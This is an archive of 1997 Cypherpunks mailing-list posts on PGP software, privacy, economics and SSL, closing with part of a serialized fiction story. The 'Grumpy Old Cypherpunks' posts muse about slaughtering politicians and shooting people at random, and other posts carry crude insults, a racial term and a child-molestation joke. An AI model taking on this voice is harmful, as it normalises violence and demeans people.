If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Fri, 11 Apr 1997 14:03:04 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: [Fwd] AEgis Shell 3.0 Release
Message-ID: <3.0.1.32.19970411163143.007e6760@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: mlyman@aegisrc.com (Mike Lyman)
>Subject: AEgis Shell 3.0 Release

>-----BEGIN PGP SIGNED MESSAGE-----
>
>I am happy to belatedly announce the release of AEgis Shell 3.0 for PGP. The
>release version has actually been posted for the last several days but the
>order processing pieces have finally been put in place.
>
>You can get the shell from http://www.aegisrc.com/Products/Shell
>
>If you plan to order the shell on the commercial shareware license you AEgis
>POC for sales is Michelle Bass.
>
>I also want you to know that tech support will be a little slow for the next
>few weeks. I am moving to a new job in Redmond, WA and AEgis will no longer
>be my primary employer, my main paycheck will come from someone else. I will,
>however, continue to work for AEgis on the shell and will continue to support
>it as will others. Until my equipment catches up to me, it will be impossible
>for me to track down new glitches. I will be able to answer question about
>the standard problems users have.
>
>I'd like to remind you that there is a shell-users mailing list available
>where users can support each other. This may be your fastest support channel
>for the next week. You can join this list by sending a message to
>shell-users-request@aegisrc.com with the word subscribe in the body of the
>message. To send a message to the list, send it to shell-users@aegisrc.com.
>
>I will continue to monitor the shell-support@aegisrc.com address. You can
>reach me directly at my alumni organization address of mlyman@west-point.org.
>My mlyman@aegisrc.com address will be forwarded to that address for a few
>months.
>
>Mike Lyman                                     USMA '87
>Software Engineer        Webmaster           Postmaster
>mlyman@aegisrc.com                   PGP Key 0xC34BEF45
>AEgis Research Corporation       http://www.aegisrc.com
>6703 Odyssey Drive, Suite 200      Huntsville, AL 35806
>Voice: 205.922.0802                   Fax: 205.922.0904
>
>I'm changing jobs on 14 April, my new email address is:
>mlyman@west-point.org
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>Comment: PGPMail 4.5 (formerly ViaCrypt's PGP)
>
>iQCVAgUBM06CMMUiy4XDS+9FAQFPCwP/cVZPiXzEmNjm0foqN3Le1qU+wSKAEYOt
>7zBv1QpstVNhR3QPbk+BOQr0fFbewioeuDOWp/inFC0u2MvboU+Z2sQswBeaYp4B
>1v4G3H0OE5VfJ1tBhUJOs2qk3tQvtEGivMJ53RexONwUw+BuVoMo/uPNm9OCpnb6
>ocgumVDO+NU=
>=4/Iy
>-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Apr 1997 16:31:15 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: KC post per Alec
In-Reply-To: <199704111239.HAA02011@smoke.suba.com>
Message-ID: <y3k15D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> Crispin:
> > Personally, I am in favor of absolute personal privacy, but I don't
> > define that to include economic dealings -- as far as I am concerned,
> > business or economic privacy is at a lower level of concern than
> > personal privacy.  This puts me at odds with the prevailing
> 
> 	What's the difference? 
> 
> 

I suppose (and I'm no mind reader) that Kent feels that who you fuck/suck
(for kicks, not for money) is your business, but what you do for a living
is the gubmint's business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 11 Apr 1997 16:37:55 -0700 (PDT)
To: paul@fatmans.demon.co.uk
Subject: Re: "...markets are fundamentally chaotic, not efficient"?
In-Reply-To: <860759798.116769.0@fatmans.demon.co.uk>
Message-ID: <199704112334.SAA12130@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


market efficiency and chaos are not necessarily mutually exlusive

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 11 Apr 1997 17:31:51 -0700 (PDT)
To: tmg@dev.null (TruthMangler)
Subject: Re: Grumpy Old Cypherpunks
In-Reply-To: <199704111724.LAA08482@wombat.sk.sympatico.ca>
Message-ID: <199704112355.SAA03116@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger:
>    My personal view is that the war on DoubleSpeak was lost when we 
> allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The
> Peacekeeper." If we had risen up and slaughtered a few hundred 
> politicians at that time, then mental freedom would have had a slim
> chance of survival.

	Well, considering there was a .45 revolver named either "Peace
keeper" or "Peace Maker" in the late 1800's or early 1900's, I don't think
you can blame RR&c for that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Fri, 11 Apr 1997 16:34:47 -0700 (PDT)
To: TruthMangler <cypherpunks@toad.com
Subject: Re: Grumpy Old Cypherpunks
Message-ID: <1.5.4.32.19970411233414.006a6e74@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:31 AM 4/11/97 CST, TruthMangler wrote:
>Kent Crispin wrote: 
>> 
>> Toto, thanks for your thoughtful comments.  Your touching defense of
>> Tim is interesting.

<yammeryammersnip>

>> list.  Like most people, I tend to respond in kind.
>
>  This list is one of the few places where the dogs still bark (and
>bite, as well). Smarmy "gumming" of the logic and opinions of others
>on this list will not get you many doggie bones.

I like that.  Bite me.

>  My personal pet peeve is the fucking happy faces that abound in
>posts everywhere. If you can't figure out whether a comment is an
>insult or humor, then take it as an insult, because any professed
>difference between the two is only an illusion.

I like that, too.  Happy face me.

>  I suppose that it is only a matter of time before I walk into a
>happy-face factory and start blowing people away at random. A barking
>gun is only the final result of years of govement and societal 
>suppression of our natural instinct to bark loud and long when
>intruders invade our personal space.

You must work for the post office.  Shoot me.

>TruthMangler
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 11 Apr 1997 20:15:05 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: None
In-Reply-To: <199704112140.OAA27286@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970411211426.22596A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 11 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> There's a rumor that Timothy Mayhem sells his dead relatives as 
> fertilizer as they constitute the best shit in California.
> 
>           |||||||||||
>            \~0/ \0~/
>            <  (0)  >
>       --oOO--/|||\--OOo- Timothy Mayhem
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 11 Apr 1997 21:27:07 -0700 (PDT)
To: Martin Minow <minow@apple.com>
Subject: Re: Swedish Narcotics Police Demand Telephone Card Database
In-Reply-To: <v03102803af7468aac645@[17.219.103.108]>
Message-ID: <334F08BA.5CE7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Martin Minow wrote:
> 
> the Stockholm narcotics police has asked the national police and
> State Prosecutor to require that purchasers of a new telephone
> card used for mobile telephones be registered, and that the police
> have access to the purchaser database.
> 
> A similar card is in use in France. However, the French security
> service made the government force the telephone company to require
> that purchasers show an id card when tbey purchase the card.

  I smell a market here for enterpreneurs. I'm certain that there are
more than a few wino's sleeping better at night, having earned a little
extra cash by purchasing telephone cards for parties who require them.
  So a thousand customers will have to pay the inflated prices for the
cards as a result of the extra paperwork, in order that one alleged
criminal will also have to do so.

  I would like to see a study done that shows how many regular folk 
have had to engage in illegal activities in order to be able to 
afford all of the extra costs they face in their daily activities, 
in order for the authorities to 'catch criminals'.

  How about if we have Congress pass legislation that supplies 
drugs to users at a low cost, but requires them to steal a TV
in order to get the special price?
  Is this more ridiculous than keeping the prices of drugs 
artificially high and getting the same results?

  The up-side of laws making the spread of strong encryption  
illegal is that perhaps it will flood the jails and force the
authorities to release drug users.
  Of course, this may backfire, since drug users can become
dealers and make enough money to be able to afford strong 
crypto, no matter what the cost.
  
  I realize that I'm being silly, again, but maybe this twisted
trail of logic might get me an executive position in the legal
administrative system.
  (It has worked for others.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 11 Apr 1997 23:03:06 -0700 (PDT)
To: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/00015C5B@mex3976bcaop1.banamex.com>
Message-ID: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:54 AM 4/11/97 -0500, ARTURO GRAPA YSUNZA <agrapa@banamex.com> wrote:
>See http://www.Microsoft.com/security/
>under "Credit Card Security Concerns and Microsoft's Response"
>for Microsoft's response on the SSL GET/POST weakness. ¿Any opinions?

Thanks for the pointer to MS's security site; there's a lot of
good information there.

I was highly unimpressed with Microsoft's Response:
	"It's Not A Security Flaw"
	"But Everybody Important Works Around It"
	"And we're fixing it in the next release"
without providing much detail about what's going on.
It does indicate what to look into to avoid it when writing web pages,
but it doesn't say how to avoid it when entering your credit card number
into a web page, or what to look for as a non-programmer user.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 11 Apr 1997 15:20:02 -0700 (PDT)
To: camcc@abraxis.com
Subject: insecure algorithm (was: Re: [PGP-USERS] BestCryp NP)
In-Reply-To: <3.0.1.32.19970410171540.007ec650@smtp1.abraxis.com>
Message-ID: <m0wFoFJ-0003b7C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>>>BestCrypt NP costs $115, the home page is www.jetico.sci.fi.
>>>They even have our Mr Peter Gutmann on their credits list. BestCrypt
>>>supports BlowFish, DES (boo) and GOST, a russian standard with 
>>>256bit key.

One would hope that they have also read and understood Peter's warning
about the GOST algorithm ("More thoughts on GOST", 17 Aug 1996,
<4v4ptc$42e@net.auckland.ac.nz>).




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 11 Apr 1997 21:23:52 -0700 (PDT)
To: cypherpunks@algebra.com
Subject: Re: Grumpy Old Cypherpunks
In-Reply-To: <199704112355.SAA03116@smoke.suba.com>
Message-ID: <0nHksW200YUh01KW80@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

snow <snow@smoke.suba.com> writes:
> TruthMonger:
> >    My personal view is that the war on DoubleSpeak was lost when we 
> > allowed Ronnie Rayguns & Co. to name a weapon of mass destruction "The
> > Peacekeeper." If we had risen up and slaughtered a few hundred 
> > politicians at that time, then mental freedom would have had a slim
> > chance of survival.
> 
>         Well, considering there was a .45 revolver named either "Peace
> keeper" or "Peace Maker" in the late 1800's or early 1900's, I don't think
> you can blame RR&c for that.

Well, not to pick nits, but it was the peace maker, and it's name is
appropriate. AFAIK, the Peace Maker was intended primarily for LEAs.
You go into a warlike situation, then shoot people until there's
peace. No logical holes there. However, the premise that a large nuke
will keep some 3rd world dictator from lobbing some Exocets at your
ships is, well, provably false.

What, me on topic? never!
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

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clIs+MjemdQ0btFPZDzNXCL+0B9zi7dFfWAG2PFN15n+tTK1F0QrLkRISJjOVdmH
zQmq08peDYRrGgHGPuvSLfF8KWfnou4f
=6Ga4
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 00:14:02 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: A rant about economic distortions
In-Reply-To: <v03007802af74c3441561@[207.167.93.63]>
Message-ID: <334F3697.5C39@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May, sounding much like 'The Bok', which is not hard
for rational people to do these days, wrote: 

> And Big Brother gets more intrusive every year. A person like me who wants
> to hire some Mexicans for work out at my house faces a triple whammy.
> 
> First, I'm supposed to fill out various forms to hire them  And so long as folks
> aren't in line to become Attorney General, or the Feds are not looking for
> an excuse to bust them, this ignoring the reporting laws is probably not
> too dangerous.

  The purpose of many laws seems to be to ensure that anyone, 
anywhere, at any time, is breaking at least a few of them, in 
case the government chooses to come after them.

> Second, I'm supposed to verify the "right to work" of any applicant. I'm
> supposed to demand documentation, and to somehow be able to detect
> forgeries.

  Thus, anyone who is not Houdini, or who doesn't have access to
the same records/databases as covert government agencies, is
probably committing criminal actions without knowing it.

> Third, I'd better watch what questions I ask, though. 

  Gotcha either way, don't they?
 
> There are other whammies, too.

  Tim gives an example, but he would have to fill an entire book
in order to cover a even a modicum of situations applicable to
the average person.

> (Somewhere along the line we lost the right to hire and fire whom we chose
> to. Now all such decisions must be documented, and produced on demand.

  The safest route is to fire the white guy. Anything else is an 
obvious act of discrimination.
  (I am not making any claim that the reverse has not been the case
in the past, but only that the situation is equally as evil in either
situation. 'Revenge' does not equate to 'Justice'.)

> Used to be that the economy had plenty of "niches" for people unable or
> unwilling to compete for more demanding/mechanical/factory jobs...the
> aforementioned handymen and maids, etc. 

  I know a businessman who had to lay off twenty disabled/retarded
employees because he couldn't afford the cost of defending himself
against charges that he was somehow taking advantage of them.
  They kept showing up for work, however, so he turned to me to
set up a system whereby he could reward them for their 'volunteer'
work. Now, even that is being challenged, even though their lives
are immeasurably better as a result of his effort to enable them
to be productive, functional members of society.

> In my view, this was a more natural, normal, almost "tribal" way of living.
> Those with lesser mental or ambition skills could still do something of use
> for those who worked hard or had skills in demand.

  The fact of the matter is, many who have become 'rich' have done so
by working night and day, as well as going broke a number of times,
with no more resources to work with than those who choose to squander
their own resources on drink, drugs and wanton living (Trust me, I
am somewhat of an expert in the latter.) 

> The further result: those who can't fit into jobs worthy of minimum wage
> (which is actually more than the official rate, given the need for tax
> accountants to manage them, forms to be kept current, training to be given
> because the public schools failed, insurance, etc.) are unemployable. Then
> the State steps in and pays them not to work.

  At the tender age of 19, I received massive amounts of electroshock
and given a lifetime pass to government assistance as a person who 
would never be fit to work in even the simplest of positions.
  Since that time, I have worked in a multitude of fields, including
becoming a recording artist, mob figure, and president of a computer
company. (None of which negates the fact that I am, indeed, crazy as
a fucking loon.)
  In my mind, those stuck in the social welfare-state are not in any
way different from those stuck in the corporate welfare-state. They 
have all bought into the government world-view and are merely pawns
in different aspects of the game. I see no real difference in the
ghetto resident who is paid not to work, and the Congressman who is
paid not to grow cotton on his plantation.
 
> Here in Kalifornia, garbage is strewn around the freeways. Convicts no
> longer are sent out (though drunk drivers, being politically incorrect,
> sometimes are). Nor are welfare recipients sent out to pick up garbage. No,
> this would all be demeaning. Better to have CalTrans employees do the work.
> Oh, and these CalTrans "transportation engineers" have starting salaries of
> $32,000 a year. A bit high for garbage collectors, but, hey, if it was any
> lower they could go on welfare and make just as much. This is how skewed
> our economy has become, thanks to government meddling in economic
> transactions.

  Some of those who see the world from this realistic viewpoint walk
into
a Denny's and blow people away, for no apparent reason. Some join an
organization to 'change' things. Others write letters to the CypherPunks
list. Some just change their name to Nero, and learn to play the violin.
  Still others, making their mark in the world as movers and shakers in
the burgeoning world of eca$h, come to their senses and realize that
the safest harbor of reality, in the midst of madness, is in the center
of the storm, and they post messages saying, "I *love* this list."

> Other rants are obvious, such as why in 48 out of the 50 states a person on
> welfare earns the equivalent of $1500 or more a month, far, far higher than
> minimum wage....in other words, the taxpaying shlubs working for $5.75 an
> hour at Taco Bell are subsidizing others to stay at home watching t.v. and
> smoking crack and getting paid more than they're making....
 
> For most American coloreds, the situation is hopeless until welfare as we
> know it is ended. (And people are free to engage in economic transactions
> of their choosing.) Some innocents will suffer, of course. But there's no
> other way.

  It is just as hopeless for those 'in power'. 
  We are all trapped on a runaway train, trying desperately to hang
on, in the mistaken notion that someone is 'in control' of the
situation, and will soon find some way to 'fix' it.
  Bad news, Bubba--the 'train' is in control, and there is no one
at the wheel.

  I could go on and on, but I'm running low on Crayolas.
  It is getting harder and harder to find the 'old' colors, and
the 'new' colors are part of the plot against me.
  Everyone at the 'home' says, "Hi!"

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 12 Apr 1997 00:41:36 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970411230142.00643490@popd.ix.netcom.com>
Message-ID: <334F3961.15AD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart, ever the realist, despite the futility
of rational thought in confronting today's world, wrote:
> 
> At 01:54 AM 4/11/97 -0500, ARTURO GRAPA YSUNZA <agrapa@banamex.com> wrote:
> >See http://www.Microsoft.com/security/
> >under "Credit Card Security Concerns and Microsoft's Response"
> >for Microsoft's response on the SSL GET/POST weakness. ¿Any opinions?
> 
> I was highly unimpressed with Microsoft's Response:
>         "It's Not A Security Flaw"
>         "But Everybody Important Works Around It"
>         "And we're fixing it in the next release"
> without providing much detail about what's going on.
> It does indicate what to look into to avoid it when writing web pages,
> but it doesn't say how to avoid it when entering your credit card number
> into a web page, or what to look for as a non-programmer user.

  Bill seems to be one of the few people to realize that tips and
tricks for experienced programmers does nothing at all for the
common user, who has no way of discerning which of the programs
and sites that they access are indeed compensating for a system
which contains a plethora of basic faults.

  When facing a firing squad, there is little comfort in knowing
that only one or two of the rifles contain real bullets.
  Pardon me for suggesting that the average user will realize that
he need not volunteer to face the firing squad if he doesn't want
to. The 10,000 people who enter their credit card number at a
web page prompt won't be on the nightly news. The guy or gal whose
life was ruined when they did so, will be.
  Does anyone care to estimate what percentage of the 10,000 who
didn't get totally screwed will think twice before using their
credit card on the web again?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMangler <tmg@dev.null>
Date: Sat, 12 Apr 1997 00:41:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Balance of Terror
Message-ID: <199704120738.BAA15473@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 12:22 AM -0400 4/12/97, Jeremiah A Blatz wrote:
> 
> >peace. No logical holes there. However, the premise that a large nuke
> >will keep some 3rd world dictator from lobbing some Exocets at your
> >ships is, well, provably false.
> 
> Given that the peace was kept, for whatever ultimate reasons, saying the
> Peacekeeper had a "provably false" mission or name is unsupported.

  The same could be said for Charles Manson's aims being "provably
false". The country has been going downhill since the 'Communist plot'
to flouridate the water supply. "Provably false" has little meaning
in this context, as well.
 
> (We never have the luxury of running history over and over again, under
> different controlled conditions, so we can't say for sure what caused
> things to happen the way they did. I am persuaded that the balance of
> terror in the 1950s-80s played a major role in the avoidance for 50 years
> of any major wars. At horrendous cost to the U.S. and U.S.S.R., to be sure,
> and better ways could probably have been found. But major wars _were_
> avoided.)

  I know it's midnight, the drugs are kicking in, and there are
few posts to respond to on the weekend, but please make an attempt
to start a new thread, as opposed to taking the easy way out and
piling new drivel on top of old drivel.

Dr. TruthRoberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Sat, 12 Apr 1997 02:08:16 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: anonymous credit
Message-ID: <Pine.SUN.3.96.970412015355.10438B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


I used to think that the problem of anonymous credit is hopelessly
intractable.  I mean, who would loan money to an anonymous entity that may
disappear at any time without a trace?  Reputation, which is useful for
other types of anonymous cooperation, is not a good solution in this case,
since typically you need to borrow money to invest in reputation.
 
Recently, I came upon a solution, inspired by an essay by the economist
Steven Landsburg.  I have to admit however, that the solution is fatally
flawed.  But I present it here anyway in the hope that one of you can
offer an improvement that would make the scheme practical.
 
The idea goes like this.  The government announces a new series of
anonymous zero-coupon treasury bonds that mature in 10 years, backed by a
special lump-sum tax to be collected when the bonds mature.  The proceeds
of the bond auction and the tax are distributed equally among everyone.
So basicly, the government forces everyone to take out a loan on the
credit market and guarantees its collection.  Anyone who does not want the
loan anonymously buys treasury bonds with all of his distribution, holds
them for 10 years, redeems them at maturity and uses the proceeds to pay
off the lump-sum tax.

The fatal flaw, of course, is that there is no reason why the government
would want to help people get anonymous loans.  Can anyone find a way to
fix this?

BTW, if anyone is interested in Steven Landsburg's essays, they are
available at
http://www.slate.com/Code/Compost/Compost.asp?Sort=Section&Key=20.  I also
highly recommend his book, _The Armchair Economist: Economics and Everyday
Life_.

"All crypto is economics." - Eric Hughes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sat, 12 Apr 1997 01:45:20 -0700 (PDT)
To: cypherpunks@toad.com
Subject: jWebWorld 30
Message-ID: <334F4C72.57DE@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


The Meeting


Jonathan had found himself frozen in time when he heard the knock
at the door of his old apartment. He had no friends or family
who dropped by, nor even business acquaintances. Who could it
possibly be?

After a few moments he slipped quietly to the doorway and flipped
on the VideoMonitor, turning it to the hallway setting. He found
his unbelieving eyes viewing none other than...the girl.

"Alexis.", he whispered, motioning her inside, after
unbolting the door and almost falling out into the hallway after
opening it. Without a word, she quickly stepped inside.
They stood there staring at each other.

Jonathan was wondering if he'd made a big mistake. Actually, he
knew nothing about her. She could be an agent of the Dark Forces,
sent to check up on his apartment.
Alexis was wondering if she'd made a big mistake. She actually
had no idea whether Jonathan was a genuine 'initiate' or an agent
of the Dark Forces, sent to Bubba to attempt to try to break into
the 'Circle'. She had to take that chance.

"I'm your contact.", she said, looking Jonathan right
in the eye.

"From the 'Circle'?", he asked, amazed that this was
actually happening.

"Of course.", she replied. "We need you to do some
very important work for us, immediately."

"Problem.", Jonathan said, shaking his head sadly. 


Alexis and Jonathan slipped out of the side door of the complex,
and hurried across the street.

"Quickly, into the shadows.", Jonathan said, moving
quickly and pulling her along with him. He had recognized the
vehicles coming around the corner. They watched as the vehicles,
followed by a truckload of troops, pulled up in front of the building
they had just left.
The troops quickly surrounded the complex.

A nondescript vehicle had arrived, shortly, and a man with eyes
of cold-blue steel stepped out of it, conferring with the troop
leader, quietly. Alexis and Jonathan could hear the distinctive,
hard voice as he gave orders to his commander.

"No one leaves the building alive."

"SOP?", the commander inquired, as if by rote, but was
surprised at the answer he received.

"No!", the Shadow exclaimed, as if coming to a sudden
decision.
"Make it as loud and as messy as you like, Commander Olson.
And don't bother with the usual cover stories. Let the neighborhood
have something to think about, tonight."

"What about the local security precinct?", the commander
asked the Shadow, obviously happy to have been given a free hand
to do as he liked here.

"Tell them NOTHING!", the Shadow screamed at his top
commander, not from anger, but from relief-relief that he no longer
had to be concerned with humoring these foolish mortals.

Commander Olson was relishing the thought of letting those pompous
little 'plastic generals' in charge of neighborhood security (and
cover-ups of the Dark Forces' activities), stew along with the
rest of the populace, for a change. He was mystified, however,
as to the reason for this sudden departure from Standard Operating
Procedure. The Shadow, however, speaking to himself, aloud, answered
the commanders unspoken question.

"After tomorrow, it won't matter anyway.", the Shadow
whispered in a voice that shouted, nonetheless, as if screamed
from the highest point of the universe, and rebounding to its
furthest reaches.
"Tomorrow, Commander Olson...", the Shadow spoke,
his eyes glowering, a fiery shade of red, pulsating in time with
the subsonic reverberation that shook the air as he spoke, his
voice and his countenance echoing that of his Dark Master, the
Evil One, speaking for Evil itself.

"Tomorrow, with the setting of the sun, when darkness crosses
the threshold of dusk, to rule the night, overpowering the day..."

The Shadow was, no longer-it was Gomez's vile countenance that
was emanating forth from the quasi-human form that Alexis and
Jonathan were watching, speechless, frozen to the spot in the
shadows, where they were standing. Their hearts leapt, and stopped,
as this powerful, vile creature, turned towards them, as if looking
at them, through them, and his visage and his voice merged with
those of the Evil One, as their shrill, penetrating voices screamed,
in unison,
"Tomorrow, Commander Olson....all this is MINE!"


Bubba poured each of them another shot of his Private Reserve,
which they both downed quickly. The scream was still reverberating
in their minds, through their whole bodies, as a matter of fact-great
shivers of cellular terror coursing through their bodies in waves,
in abominable spasms of chill, never to be forgotten, terror.

Bubba waited for one, or the other, to speak. They sat in silence
for long minutes, when Alexis, still staring off into a far-away
'nowhere', uttered, in a bare whisper,
"The scream never stopped..."

"...it continued, turning into...merging with...",
it was now Jonathan talking, "...the screams that were
coming from the building-horrible, terrifying screams..."

"...screams of the Damned...", Alexis'
presence returned to the room, as she said it, looking at Jonathan,
and then up at Bubba.

"...screams of the Damned.", they said, in
unison.

Bubba nodded his head respectfully, fully aware of what they were
speaking of-desperately trying to make him understand the true
extent of what they were attempting to describe to him. 
Bubba understood.
They were gathered in Bubba's safe house. A motley crew of computer
workers and programmers from a diverse segment of WebWorld society.
Their attention was rivited to the grizzled sage whom many of
them had riduculed for years as a babbling old derelict.

"For four generations," Bubba said, speaking for his
lineage, "I have borne witness to the existence of the Evil
One, and the reality of the danger that he represents for all
of humanity."

Bubba rose slowly, speaking, not only to Alexis and Jonathan,
but also to the many others gathered around them to hear them
recount their recent brush with the Shadow...with Gomez.

"For four generations I have been a 'voice crying in the
Wilderness', speaking of an Evil too real, too great, to be spoken
of, and understood."
"Telling all who would listen, and those who would not, of
the Evil One's Grand Design for all of humanity, bringing us into
subjection to him, to his domain. Testifying ceaselessly of Gomez
and the Dark Allies eternal presence among us, working tirelessly,
day and night, sowing the seeds of our destruction."

The was room full of people-people who had, one by one, wittingly
or unwittingly, for an innumerable variety of reasons, stumbled
into Bubba Rom Dos IV's safety net.
This was a group of people very much like one that had gathered
together one evening, four centuries earlier, to listen to the
eternal wisdom contained within the mad ramblings of a broken-down
old derelict named Bubba Rom Dos...Bubba Rom Dos I.

Now, the pendulum had swing full cycle, for the fourthth, and
possibly the last, time, and it was the fourthth-generation representative
of the Rom Dos lineage who addressed the quiet, shaken individuals
gathered before him.

Bubba knocked back another shot of Jim Beam, and continued,
"Four centuries ago, my ancestor spoke to a group of people
much like yourselves, and he spoke not just of danger and despair,
but also of hope-the only hope of all of humanity.

"He told them that that 'one hope' was gathered before him
in the room, that evening, embodied in the presence of those who
had ears, to hear, and eyes, to see. He told them to form a "Magic
Circle", for their own protection, and for the protection
of all of humanity-to gather together in a common bond, with a
common purpose-to build a computer operating system that would
embody the spirit of humanity, containing signposts and clues
that aid them in retaining their connection to the eternal Tao,
to guide them through the dark times ahead, and give them a measure
of protection from the Dark Forces that were striving ceaselessly
to work against them."
"And then, as we all know, he made his 'grand' departure."

A titter of laughter ran through the crowd, breaking the nervous
tension that had been building slowly, but inexorably, up to this
point.

"He got thrown out on his sorry, drunken, child-molesting
ass.", Alexis piped up, sending a roar of laughter
through the crowd.

"That's one way of putting it, yes.", Bubba acknowledged,
exuding a sublime air of innocence.

The crowd waited for him to continue, but Bubba motioned for Jonathan
to join him, and merely said,
"Bubba Rom Dos IV will be remembered, if for nothing else,
for learning from the mistakes of his predecessors."

He bowed graciously, turning things over to Jonathan, and walked
quietly to the back of the room, where he sat in the corner, commiserating
with his old friend, Jim Beam.

Jonathan looked out over the crowd, and began to speak.
"I had occasion, recently, to hear, from the lips of the
Cowboy, himself," a murmur went through the crowd, and Jonathan
immediately saw that Alexis' plan of action was going to be very,
very effective, no matter what the final outcome of all this,
"for the first time in history, a true, first-person account
of exactly what proceeded after Bubba Rom Dos' departure from
the first, and only," he added, much to the surprise
